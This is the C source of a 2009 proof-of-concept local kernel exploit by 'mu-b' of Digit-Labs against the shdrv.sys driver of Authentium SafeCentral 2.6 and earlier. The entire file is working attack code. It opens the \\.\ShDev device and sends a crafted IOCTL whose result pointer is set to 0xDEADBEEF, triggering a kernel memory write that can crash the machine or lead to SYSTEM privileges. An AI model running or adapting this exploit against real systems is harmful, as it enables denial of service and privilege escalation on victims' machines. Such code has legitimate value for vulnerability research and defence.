/* safecentral-unharden.c * * Copyright (c) 2009 by <mu-b@digit-labs.org> * * Authentium SafeCentral <= 2.6 shdrv.sys local kernel ring0 SYSTEM POC * by mu-b - Tue 1 Sep 2009 * * - Tested on: shdrv.sys 2.0.0.128 * * Compile: MinGW + -lntdll * * - this exploit is provided for educational purposes _only_. You are free * to use this code in any way you wish provided you do not work for, or * are associated in any way with Portcullis Computer Security Ltd. * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */
#include <stdio.h> #include <stdlib.h>
#include <windows.h>
#define SAFECNTRL_IOCTL 0x00226003
struct ioctl_req { DWORD action; DWORD *args; DWORD *result; };
int main (int argc, char **argv) { struct ioctl_req req; HANDLE hFile, hEvent; OVERLAPPED olStruct; BOOL bResult; DWORD args[2], rlen;
printf ("Authentium SafeCentral <= 2.6 shdrv.sys local kernel ring0 SYSTEM PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");
fflush (stdout); hFile = CreateFileA ("\\\\.\\ShDev", GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (hFile == INVALID_HANDLE_VALUE) { fprintf (stderr, "* CreateFileA failed, %d\n", hFile); exit (EXIT_FAILURE); }
memset (&req, 0, sizeof req); req.action = 8; req.args = args; req.result = (DWORD *) 0xDEADBEEF;
memset (&olStruct, 0, sizeof olStruct); olStruct.hEvent = CreateEventW (NULL, TRUE, FALSE, NULL); if (!olStruct.hEvent) { fprintf (stderr, "* CreateEventW failed\n"); exit (EXIT_FAILURE); }
bResult = DeviceIoControl (hFile, SAFECNTRL_IOCTL, &req, sizeof req, NULL, 0, &rlen, &olStruct); if (!bResult) { fprintf (stderr, "* DeviceIoControl failed\n"); exit (EXIT_FAILURE); }
bResult = GetOverlappedResult (hFile, &olStruct, &rlen, 1); if (!bResult) { fprintf (stderr, "* GetOverlappedResult failed\n"); exit (EXIT_FAILURE); }
printf ("* hmmm, you didn't STOP the box?!?!\n"); CloseHandle (hFile);
return (EXIT_SUCCESS); }
|